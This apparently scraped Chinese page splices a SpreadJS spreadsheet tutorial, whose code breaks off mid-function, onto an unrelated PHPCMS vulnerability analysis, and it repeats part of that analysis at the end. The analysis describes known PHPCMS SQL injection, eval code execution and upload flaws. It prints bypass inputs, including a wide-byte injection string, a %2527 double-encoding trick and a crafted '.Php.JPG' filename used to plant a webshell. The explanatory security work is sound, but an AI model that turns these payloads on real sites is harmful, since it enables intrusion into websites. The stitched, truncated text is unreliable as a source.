SpreadJS 對表格數據的存儲優(yōu)化采用了稀疏數組的數據結構。稀疏數組常用來(lái)優(yōu)化二維數組(比如棋盤(pán)、地圖等場(chǎng)景)的內存占用,但它有個(gè)天生的缺陷,就是訪(fǎng)問(wèn)性能慢。
所以當時(shí)針對這個(gè)疑問(wèn),我給它做了壓力測試,百萬(wàn)級別的遍歷耗時(shí) 200 多ms。性能可以滿(mǎn)足我們的需求。
2. 計算引擎
據官方介紹來(lái)看,公式引擎其實(shí)是包含了兩大實(shí)現的部分,一個(gè)是計算邏輯系統、一個(gè)是引用系統。
Excel 中公式的計算都是依賴(lài)于某些原始數據的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把這部分功能封裝的已經(jīng)非常原生化了,根本不需要開(kāi)發(fā)者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表單引用、相對/絕對引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(沒(méi)列舉完,感興趣的同學(xué)可以自行搜索學(xué)習)。SpreadJS 的 runtime 是在網(wǎng)頁(yè)端,因此跨 Workbook 引用就別想了,至少目前肯定沒(méi)支持。
SUM、IF、MATCH、VLOOKUP 這種能輸入到單元格里的計算公式,用起來(lái)就像是一個(gè)個(gè)的小“邏輯包”,目前 SpreadJS 有 460+ 種原生的公式函數,而 Excel 只有 490+ 種,并且 SpreadJS 能自定制公式,使用體驗與原生公式一樣。
對于底層實(shí)現,實(shí)際上經(jīng)過(guò)多個(gè)版本的迭代,這些公式早已不是一個(gè)個(gè)獨立的“邏輯孤島”了。公式的實(shí)現在底層有大量的抽象和復用,據說(shuō)新版本在性能提升的同時(shí),代碼量比老版本有明顯精簡(jiǎn),這對前端工程打包也是比較友好的。
對于嵌套公式計算的實(shí)現,SpreadJS 在底層建立起了 AST 樹(shù)來(lái)解析用戶(hù)設置公式的計算邏輯,從官方示例的代碼來(lái)看,公式底層建立了一套 Expression,并且有對應的 public 接口可供調用,如圖:
圖片來(lái)源:【SpreadJS公式結構樹(shù)形展示】()
首先,作為一個(gè)前端技術(shù),咱們可以先從公式計算的技術(shù)要求上來(lái)分析性能可能出現的瓶頸以及造成的影響。我們在開(kāi)發(fā)時(shí)用到了大量的用戶(hù)事件、臟數據、聯(lián)動(dòng)等功能,所有這些功能確保正確運行的一個(gè)重要前提,就是必須能確保隨時(shí)可以拿到正確的計算結果,那么最直接的實(shí)現思路就是讓公式以高優(yōu)先級、同步的方式來(lái)執行完計算。
大家都知道,多線(xiàn)程可以幫助分擔計算壓力,但是先拋開(kāi)設計和實(shí)現難度不說(shuō),即便支持了 Web Worker,JavaScript 嚴格來(lái)說(shuō)也只能算是一個(gè)單線(xiàn)程語(yǔ)言,因為它的 Web Worker 子線(xiàn)程完全受主線(xiàn)程控制,并且主線(xiàn)程無(wú)法被阻塞掛起。所以即使引入了 Web Worker,也無(wú)法確保上邊提到的同步執行。
經(jīng)過(guò)以上分析,可以看出公式計算性能的局限性,取決于 JavaScript 的計算能力。我找了一張相關(guān)的圖片,可以直觀(guān)反映 Node.js 的計算能力(Node.js 是 V8 引擎,公認最快的 JS 引擎)
圖片引用自《深入淺出 Node.js》
而 SpreadJS 官方給出了一組公式的計算數據,參考如下:
據我們測試,以上計算性能接近原生JS的計算性能,SpreadJS 在這方面的優(yōu)化已經(jīng)十分接近物理極限了。目前在我們的應用場(chǎng)景中,這個(gè)計算性能已經(jīng)足夠使用,但不排除以后會(huì )出現海量的數據和公式的計算需求,而在這方面官方也給出了相關(guān)解決方案,參考這里 ()。
據說(shuō),官方還在進(jìn)一步開(kāi)發(fā)緩存技術(shù),來(lái)實(shí)現公式計算的分塊緩存:即使引用鏈上有值發(fā)生變化,也不需要計算整個(gè)引用鏈的公式。聽(tīng)起來(lái)很強大,思路也靠譜,但愿早點(diǎn)推出。
3. 樣式系統
Excel 的樣式系統非常復雜,邊框、字體、對齊、數據格式、條件格式等等每一個(gè)功能點(diǎn)都有非常靈活龐大的實(shí)現,剛開(kāi)始了解 SpreadJS 時(shí),我也被它的 Style 類(lèi)驚呆了,除了我能想象到的邊框、背景、字體、對齊等這些能“看得到”的,竟然也有單元格類(lèi)型、數據格式、表格按鈕、下拉、水印這類(lèi)東西。不由得感嘆 Style 太重了,如果定制大量的單元格樣式,內存和性能肯定都不好。不過(guò)實(shí)際應用中倒也沒(méi)發(fā)現瓶頸,原來(lái)這里采用了分層結構來(lái)設計,如圖:
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】
六、SpreadJS怎么用?1. 渲染表格
圖 6.1-1 綁定數據和公式
首先獲取全局 spread 對象,spread 是整個(gè)表格的主體,spread 又分成多個(gè) sheet。SpreadJS 初始化結束都會(huì )返回一個(gè) spread 對象。
?<br />??methods:{<br />?????spreadInitHandle:?function?(spread)?{<br />??????this.spread?=?sprea<br />????},<br />??}<br />
?tableDataBind()?{<br />????//?數據源,可以從后臺請求拿到<br />????var?dataSource?=?{<br />????????//?注意這里加了一層bindPath,用于映射表格的綁定路徑<br />????????bindPath_table:?[{<br />????????????c1:?100,<br />????????????c2:?90,<br />????????????c3:?30,<br />????????????c4:?40<br />????????},?{<br />????????????c1:?88,<br />????????????c2:?66,<br />????????????c3:?55,<br />????????????c4:100<br />????????},?{<br />????????????c1:?30,<br />????????????c2:?89,<br />????????????c3:?100,<br />????????????c4:?40<br />????????},{<br />????????????c1:?40,<br />????????????c2:?66,<br />????????????c3:?88,<br />????????????c4:?40<br />????????}]<br />????};<br />????//?表格綁定和單元格綁定數據源,需要用SpreadJS的CellBindingSource包裝一下<br />????var?spreadNS?=?GC.Spread.Sheets;<br />????var?dataSource1?=?new?spreadNS.Bindings.CellBindingSource(dataSource);<br />????var?table2?=?this.activeSheet.tables.add("tableName",?0,?0,?1,?5,?spreadNS.Tables.TableThemes.light6);<br />????table2.showFooter(true);<br />????table2.autoGenerateColumns(false);<br />????var?c1?=?new?spreadNS.Tables.TableColumn(1);<br />????c1.name("語(yǔ)文");<br />????c1.dataField("c1");<br />????var?c2?=?new?spreadNS.Tables.TableColumn(2);<br />????c2.name("數學(xué)");<br />????c2.dataField("c2");<br />????var?c3?=?new?spreadNS.Tables.TableColumn(3);<br />????c3.name("英語(yǔ)");<br />????c3.dataField("c3");<br />????var?c4?=?new?spreadNS.Tables.TableColumn(4);<br />????c4.name("化學(xué)");<br />????c4.dataField("c4");<br />????var?c5?=?new?spreadNS.Tables.TableColumn(5);<br />????c5.name("合計");<br />????table2.bindColumns([c1,?c2,?c3,?c4,?c5]);<br />????table2.bindingPath("bindPath_table");<br />????//?設置公式<br />????table2.setColumnDataFormula(4,?"=[@語(yǔ)文]+[@數學(xué)]+[@英語(yǔ)]+[@化學(xué)]");<br />????table2.setColumnFormula(4,?"=SUBTOTAL(109,[合計])");<br />????//?設置允許單元格的內容超出單元格,與綁定無(wú)關(guān)<br />????this.activeSheet.options.allowCellOverflow?=?true;<br />????//?綁定dataSource<br />????this.activeSheet.setDataSource(dataSource1);<br />????this.spread.resumePaint();<br />},<br />
圖 6.1-2函數名和函數碼映射表2. 渲染條件格式
渲染條件格式:數據渲染完成只能保證數據能正常顯示出來(lái),但是這還不能滿(mǎn)足數據分析師的需求,還要明顯展示有效數據譬如:最大值,最小值標紅,進(jìn)度條展示一個(gè)變化狀態(tài),圖標展示上升還是下降,雙色階,三色階,等,具體怎么實(shí)現?
<p>iconset()?{<br />????var?activeSheet?=?this.activeSheet;<br />????var?iconSetRule?=?new?GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br />????//?演示demo先寫(xiě)死區域<br />????iconSetRule.ranges([new?GC.Spread.Sheets.Range(0,0,?5,?5)]);<br />????// IconSetType圖標志的類(lèi)型:箭頭,圓圈和execl 打通的,excel有哪些這這邊就支持哪些<br />????iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br />????var?iconCriteria?=?iconSetRule.iconCriteria();<br />????iconCriteria[0]?=?new?GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br />??????true,<br />??????GC.Spread.Sheets.ConditionalFormatting.IconValueType.number,?<br />??????60<br />????);//(
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 67 次瀏覽 ? 2022-06-20 19:24
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
